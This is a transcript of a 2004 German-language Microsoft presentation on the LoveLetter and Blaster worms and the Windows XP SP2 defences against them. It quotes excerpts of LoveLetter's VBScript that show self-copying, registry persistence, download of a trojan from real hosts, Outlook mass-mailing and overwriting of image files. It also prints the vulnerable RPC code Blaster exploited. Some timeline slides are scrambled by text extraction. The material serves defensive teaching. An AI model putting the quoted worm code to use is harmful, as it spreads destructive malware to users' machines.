Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected] [email protected] Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals.

Download Report

Transcript Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected] [email protected] Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals.

Viren, Würmer, SP2
Uwe Baumann
Dirk Primbs
.NET Community Evangelists
Microsoft Deutschland GmbH
[email protected]
[email protected]
Sicherheit ist eine der größten und wichtigsten Aufgaben, die
unsere Industrie jemals angehen musste.
Es geht nicht nur darum, einfach ein paar Sicherheitslöcher zu
schließen und weiterzumachen. Die negativen Auswirkungen
von Viren und Würmern auf ein akzeptables Niveau
herunterzuschrauben erfordert ein fundamental neues Denken
über Softwarequalität, ständige Verbesserungen bei Tools und
Prozessen, und anhaltende Investitionen in widerstandsfähige
neue Sicherheitstechnologien, die bösartigen oder
zerstörerischen Code blocken, bevor Schaden entsteht [...]
Der technologische Fortschritt in den letzten zwei Jahrzehnten
ist unglaublich, und ist viel zu wichtig, als daß wir ein paar
Kriminellen erlauben dürfen, uns davon abzuhalten, die
fantastischen Errungenschaften der Technologie zu genießen.
Bill Gates, 31. März 2004
Viren, Würmer, Trojaner
Zwei typische Vertreter
LoveLetter und Blaster
Wurm Inside
So funktionieren LoveLetter und Blaster
Harte Lektionen
Warum konnte das geschehen?
Aus Schaden wird man klug
Hilfe, mein Code geht nicht mehr!
„Kann man das auch ausschalten?“
Love Letter
Als die Liebe die Welt regierte
Mittwoch, 3. Mai 2000
Donnerstag, 4. Mai
Ein neuer Wurm taucht auf.
4:12 Uhr
Unter den ersten „Patienten“
Antivirus-Hersteller in Europa
Ca. 7:00 Uhr sind Microsoft Deutschland,
empfangen die ersten Meldungen von
18:40 Uhr
Lucent Technology
Europa
in Melbourne
klickt ein Mitarbeiter
des
Kunden und beginnen um ca. ...
5:00
Uhr
Viele Antivirus-Hersteller machen
Credit
Suisse
„Lonely Planet“ auf und
das Wurmmit der Analyse. Es wird Reiseführer-Verlags
schnell klar:
Virus-Definitionsfiles
zum freien
Script ist
und verschickt den Wurm an 100 Download über das Web
Der Wurm, geschrieben in VB Script,
Reiseführer-Autoren in der ganzen Welt…
nicht sehr kompliziert, aber extrem
verfügbar.
ansteckend.
Dienstag, 9. Mai
16:00 Uhr
Virusmeldungen aus aller Welt
Der erste Clone taucht auf
gehen zurück. Insgesamt sind jetzt („Funny Joke“)
29 Varianten im Umlauf, eine halbe
Mittwoch, 4. Mai 2000
Million PCs wurden infiziert.
13:00 Uhr
Ab 7 Uhr
7:00 Uhr
Der
Wurm
trifft im Pentagon und bei der CIA
… und an der Ostküste
der USA
klicken
Antivirus-Hersteller
ein. Das FBI nach
nimmt die Ermittlungen auf.
Tausende liebeshungrige
Büroangestellte
Vormittag
verschicken
die
ersten
einem frustrierenden
Wochenende
auf dieInternetproviders
Mail
Mitarbeiter
des philippinischen
„Sky
Versionen
der
in derInternet“
Hoffnung
auf
ein
Rendez-Vouz
bemerkenan
eine
Virendefinition
ihredrastisch erhöhte Anzahl von
Downloads
Servern. Der Wurm lädt dort
Freitag,
5. Mai
Kunden,
aberauf
esihren
ist bereits
einensind
Trojaner
herunter, der Passwörter ausspioniert
Mittlerweile
weitere
zu 9spät
denn…
und
an zwei
eMail-Adressen
versendet. Der Provider
Varianten im
Umlauf,
getarnt
als
die betroffenen Server ab.
Muttertagsmail und schaltet
als Nachricht
des Antiviren-Herstellers Symantec
Quelle: PCWorld.com
Reproduktion
Verschickt sich als Attachment an eMailAdressen aus dem Outlook-Addressbuch
des Benutzers
Verschickt sich über IRC mit Hilfe des DCC
Features (Direct Client-to-Client)
Aktionen
Ersetzt Files mit Kopien des eigenen Codes
Startet Download eines Trojaners
Verschickt sich selbst über eMail
Infiziert (überschreibt) Files
Erstellt ein mIRC Script
Verändert die Startseite des Internet
Explorers
Inside LoveLetter
Analyse des VBS-Skripts
Code: Selbstkopien erstellen
Set wscr=CreateObject("WScript.Shell")
…
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
…
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
Code: Trojaner downloaden
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/[…]HJKhjnjbvYT/WINBUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page","http://www.skyinet.net/~angelcat/
[…]skladjflfd/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/[…]TRjkcbGRfF/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/[…]sdgfhjjgcb/WIN-BUGSFIX.exe"
end if
Code: Massenmail schicken
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
set a=mapi.AddressLists(ctrlists)
x=1
for ctrentries=1 to a.AddressEntries.Count
…
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
…
x=x+1
next
Code: Files infizieren
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
…
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
…
next
Das Ende vom Lied
10 Milliarden US$ Schaden (geschätzt)
Unzählige Nachahmer
Wahrscheinlicher Autor: Philippinischer
Student
Motiv: Entweder ein Versehen oder die
Rache für eine zurückgewiesene
Semesterarbeit
Verurteilung des Autors nach damals in
den Philippinen geltendem Recht nicht
möglich
Lektionen aus Love Letter
Love Letter vertraute darauf, daß…
… der Empfänger Mailattachements öffnet
wenn die Email von bekannten Absendern
stammt.
… der Empfänger ausreichende Rechte hat um
von sich selbst Kopien in Systemverzeichnissen
zu erstellen.
... Mails vollautomatisch verschickt werden
können.
Maßnahmen I
Hinweismeldungen von OfficeApplikationen, bevor …
… VBA-Code ausgeführt wird.
… Scripts ausgeführt werden.
… Outlook automatisiert werden kann.
Maßnahmen II
Neue Sicherheitsoptionen für die Preview
Pane in Outlook
Ausführbare Attachements werden
blockiert:
Mail-Previews laufen in der „Restricted
Sites“ Internet Zone
Windows XP Service Pack 2
Neue Mail-Preview für Outlook Express
Zone „Local Machine“ restriktiver
vorkonfiguriert
Neue zentrale API zum Handling von
Attachements: Attachement Execution
Services (AES)
Schnittstelle IAttachementExecute
Zentralisiert die Risiko-Abschätzung
Steuerbar über Group Policies
Bitte wenden Sie sich an Ihren
Administrator 
Als Nicht-Administrator wäre es Love Letter
nicht möglich gewesen, …
… sich in HKLM\…\Run einzutragen.
… in ein Systemverzeichnis zu schreiben.
… Betriebssystembestandteile auszutauschen.
Ein Tag im Leben eines
Nicht-Administrators
Das Security Problem
Software Security Pendel
Marketing Mode
Usability
&
Features
Security
&
Privacy
Einfache Benutzung
“Automagic”
Alle Features sind ON
by default
Große Angriffsfläche
Out Of The Box
Experience
Features
Attacks
Das Security Problem
Software Security Pendel
Paranoid Mode
Usability
&
Features
Security
&
Privacy
Geringe “connectivity”
Viele Sicherheitsdialoge
Minimierte
Angriffsfläche
Oft schwerer zu
benutzen
Nur schwer zu
vermarkten
Das Security Problem
Software Security Pendel
Optimum
Usability
&
Features
Security
&
Privacy
Kleinere Angriffsfläche
Weniger SicherheitsDialoge
Transparente Einstellung
Konfigurierbar
Sicher handhabbar!
Security & Privacy als
Feature für den
Anwender
Blaster
Mach mal Pause!
Reproduktion
Wurmcode lädt EXE-Datei „MSBLAST.EXE“
von angreifendem, bereits infizierten
System und führt diese lokal aus
Die EXE-Datei scannt weitere Systeme und
infiziert diese mit dem Wurmcode
Aktionen
Startet Denial-of-Service Angriff auf
http://www.windowsupdate.com
Bringt Computer zum Absturz (als
Nebeneffekt)
Inside Blaster
Grundlagen: Buffer Overrun
Analyse der angreifbaren Stelle im
Windows-Sourcecode
Buffer Overrun: Das Prinzip [1]
void main() {
char myLongBuffer[256];
myFunction(myBuffer);
}
void myFunction(char *myString) {
char myShortBuffer[16];
strcpy(myShortBuffer, myString);
}
Was passiert, wenn der übergebene String
größer als 16 Zeichen ist?
Buffer Overrun: Das Prinzip [2]
MyShortBuffer
void myFunction(char *myString) {
char myShortBuffer[16];
strcpy(myShortBuffer, myString);
}
„Böser“ Inhalt von MyShortBuffer:
Viruscode
Gehackte Adresse
Rücksprungadresse
Gehackte Adresse
MyLongBuffer
Stack
Daten
sind zuan
lang
!
Rücksprung
gehackte
Adresse…
Sonstige Daten
16
256
(bisheriger Stackinhalt)
256
Strings
Stack
void main() {
char myLongBuffer[256];
myFunction(myLongBuffer);
}
Code: Blasters Angriffsziel
Port 135 (Z.B. aus dem Internet)
error_status_t _RemoteActivation(WCHAR *pwszObjectName,
... )
*phr = GetServerPath(pwszObjectName, &pwszObjectName);
…
}
HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){
WCHAR * pwszFinalPath = pwszPath;
WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1];
hr = GetMachineName(pwszPath, wszMachineName);
*pwszServerPath = pwszFinalPath;
}
HRESULT GetMachineName(
WCHAR * pwszPath,
WCHAR
wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) {
pwszServerName = wszMachineName;
LPWSTR pwszTemp = pwszPath + 2;
while ( *pwszTemp != L'\\' )
*pwszServerName++ = *pwszTemp++;
!!!
{
Ist das wirklich so einfach?
Ausnützen der Sicherheitslöcher ist nicht
trivial!
Analyse der Verwundbarkeit
Sourcecode liegt (oft) nicht vor
Virenbaukästen („Kits“) helfen beim Bau
einfacher Viren und Trojaner, aber…
Exploits werden immer schwieriger
Extrem detaillierte Kentnisse sind notwendig
Unmöglich ohne viel Zeit und Wissen
Sorgen eines Hackers
Sprungadresse zu eigenem Code finden
„NOP-Sledge“ oder gutes Raten
DLL-Funktionen aufrufen
DLL-Basisadresse? Funktions-Einsprungpunkt?
Prozeß abspalten
Keine native Win32-Funktion verfügbar
Platz für Literale ( z.B. Funktionsnamen)
Hashing notwendig
Keine Null im Code erlaubt
Decoder-Stub nötig
Grrr!
Das Ende vom Lied
5-10 Millionen US$ Schaden
8 Millionen infizierte Computer
Autor immer noch nicht bekannt
Einige Nachahmer vor Gericht
Lektionen aus Blaster
Blaster nutzte eine Sicherheitslücke im
Betriebssystem aus
Aktivierte Firewalls hätten Blaster im
Vorfeld verhindert, aber…
… schafft es Blaster in ein
Unternehmensnetzwerk, helfen nur noch
Personal Firewalls auf den einzelnen Systemen
Zum Zeitpunkt der Verbreitung von Blaster
gab es bereits seit nahezu einem Monat
einen Patch, der aber nicht rechtzeitig
eingespielt worden war
Maßnahmen gegen BOs
Bestimmte C/C++ Kommandos sind
besonders anfällig
strcpy, gets, scanf, sprintf, strcat, …
BOs werden in Managed Code durch
Laufzeitchecks verhindert.
Compilerswitch /GC aktiviert in Visual
C/C++ verbessertes Stackhandling
Nutzloses Wissen Special
Bergarbeiter mit
Kanarienvogel
(Welsh Miner‘s
Canary)
Prinzip:
Vogel tot =
zuviel Methangas
Quelle: West Virginia Office of Miners’ Health, Safety and Training
Compilerswitch /GC
MyShortBuffer
Security
Cookie
MyShortBuffer
Prolog: Alloziiert Speicher auf dem Stack für
lokale
Variablen
und speichert Zufallswert
für lokale
Variablen
für Security Cookie (Canary) ab
Epilog: Prüft
Security durch
Cookie (Canary)
Führt den
Rücksprung
und führt anchließend Rücksprung durch
add esp,20h
mov
ret ecx,dword ptr [esp+20h]
xor ecx,dword ptr [esp+24h]
add esp,24h
jmp __security_check_cookie (4010B2h)
16
Rücksprungadresse
sub esp,20h
MyLongBuffer
Stack
sub esp,24h
mov eax,dword ptr [___security_cookie (408040h)]
xor eax,dword ptr [esp+24h]
mov dword ptr [esp+20h],eax
Strings
Stack
void myFunction(char *myString) {
char myShortBuffer[16];
strcpy(myShortBuffer, myString);
}
(bisheriger Stackinhalt)
256
Vertrauen ist gut,
Kontrolle ist besser
Patchmanagement
Definition: Patch
Patches beheben gefundene Security
Vulnerabilities
werden von Microsoft in SicherheitsBulletins veröffentlicht (z.B. MS03-47)
Patches werden in Rollup-Packages und
Service Packs zusammengefasst
Vulnerabilities werden von Microsoft in 4
Schweregrade eingeteilt
Patchmanagement
Enstehung des Blaster Wurms
1. Juli 03
Schwachstelle
entdeckt / Start der
Patchentwicklung
16. Juli 03
25. Juli 03
Bulletin & Patch
Verfügbar
Bisher kein Angriff
Angriffs-Code
wird veröffentlicht
11. August 03
Wurm infiziert
die Welt
Report
Bulletin
Exploit
Worm
 Schwachstelle in
 MS03-026 wir an
 X-focus (Chinesische
 Blaster Wurm entdeckt
RPC/DDOM
aufgedeckt
 MS startet den
höchsten Notfallprozess Level
Kunden ausgeliefert
 Kontinuierliche
Kommunikation mit
Analysten, Presse,
Community, Partner,
Regierungsbehörden
Security-Spezialisten)  Varianten und andere
veröffentlicht AngriffsViren schlagen
Tool
gemeinsam zu (z.B.
 MS maximiert die
“SoBig”)
Anstrengungen, alle
Kunden zu informieren
Blaster zeigt das komplexe Zusammenspiel zwischen
Sicherheitsforschung, Softwarehersteller und Hackern
Patchmanagement
Reaktionszeit
Tage zwischen Patch und Angriff
331
180
151
25
Zeitspanne zwischen
erscheinen des Patches und
Auftreten eines Exploits sinkt
Exploits werden intelligenter
Ansatz Patch Management
reicht nicht
Neue Techniken müssen
entwickelt werden
Windows XP SP2
Verbessertes Patchmanagement
Automatische zeitgesteuerte Installation
Priorisierung beim Patch-Download
Reduzierte Patch-Größe mit Delta-Patching
Gleiche Scanning-Engine für alle Tools
“hot patching” Technologie
Reduzierte Anzahl von Reboots
Restart Explorer und einige SVCHOST Prozesse
an statt kompletten Reboot
Windows XP SP2
Execution Protection (no-execute, NX)
Speicher wird als Datenspeicher markiert
Der Versuch, im NX-Bereich Code auszuführen
führt zu einer Exception
Muß von Hardware unterstützt werden
Internet Connection Firewall
Ab SP2 ist die ICF “ON by default”
Boot time protection
Verbesserte Konfigurationsmöglichkeiten
Group Policy, Kommandozeile
Verbesserte Benutzeroberfläche
Programmatisch:
INetFwV4AuthorizedApplication,
INetFwV4AuthorizedApplications,
INetFwV4Mgr,
INetFwV4Policy,
INetFwV4Profile
Internet Connection Firewall II
Drei Betriebsmodi
Aktiviert (Standard)
Alle eingehende Verbindungen werden
blockiert, Ausnahme: Für in einer „White List“
erfasste Programme werden Ports bei Bedarf
geöffnet
Aktiviert - keine Ausnahmen
„Shielded Mode“, es werden keine eingehenden
Verbindungen zugelassen
Deaktiviert
Windows XP SP2 – Weitere Änderungen
Unterbindung von anonymen RPC-Aufrufen
Neuer Registry-Key steuert das Verhalten:
\\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients
RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges Verhalten
RPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe
werden zurückgewiesen. Standarteinstellung
RPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit
der Ausnahme, daß das
RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung
mehr hat.
DCOM: Globale Konfiguration von Zugriffsrechten
Die meisten lokalen Szenarien funktionieren ohne Änderung
Remote: Nur Administratoren haben by default das Recht
Applikationen zu aktivieren (Activation) und zu starten (Launch)
Was tun, wenn nichts mehr geht?
“Security is designed to make your
system not work” (Michael Howard)
Fazit
Viele Viren benutzen einfache
Mechanismen um sich zu Systemen
Zugang zu verschaffen
Durch gezielte Maßnahmen kann die
Anfälligkeit einer Applikation bzw. eines
Systems deutlich gesenkt werden
© 2004 Microsoft Corporation. All rights reserved.
This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
Referenzen
Marshall Brain: “How Stuff Works:
Computer Viruses”
http://www.howstuffworks.com/virus.htm
Ulf Larson: „VBS.LoveLetter: A Study of the
LoveLetter worm“
http://www.ce.chalmers.se/undergraduate/
D/EDA261/03/oh03/oh_F05_loveletter_4pp.
pdf
Referenzen
Slipstick Systems : „Protecting Microsoft
Outlook against Viruses“
http://www.slipstick.com/outlook/antivirus.
htm
Bill Gates: „Microsoft Progress Report:
Security“
http://www.microsoft.com/mscorp/execmai
l/2004/03-31security-print.asp
Referenzen
PC World: "When Love Came to Town: A
Virus Investigation“
http://www.pcworld.com/news/article/0,aid
,33392,00.asp
XP Service Pack 2 for Developers
http://msdn.microsoft.com/security/produc
tinfo/xpsp2/default.aspx
Referenzen
Microsoft Developer Security Center
http://msdn.microsoft.com/security/
Microsoft Security Center
http://www.microsoft.com/security/
Compiler Security Checks in Depth
http://msdn.microsoft.com/library/enus/dv_vstechart/html/vctchcompilersecurity
checksindepth.asp
Referenzen
Microsoft Baseline Security Analyzer
http://www.microsoft.com/technet/security
/tools/mbsahome.mspx
Microsoft Compatibility Toolkit (Application
Verifier)
http://www.microsoft.com/downloads/deta
ils.aspx?FamilyID=7fc46855-b8a4-46cda236-3159970fde94&displaylang=en
fxCop
http://www.gotdotnet.com/team/fxcop/
Referenzen
Developing Software with NonAdministrative privileges
http://msdn.microsoft.com/library/enus/dv_vstechart/html/tchdevelopingsoftwar
einvisualstudionetwithnonadministrativeprivileges.asp
West Virginia Office for Mine Safety:
Historic Photos
http://www.wvminesafety.org/histphoto.ht
ml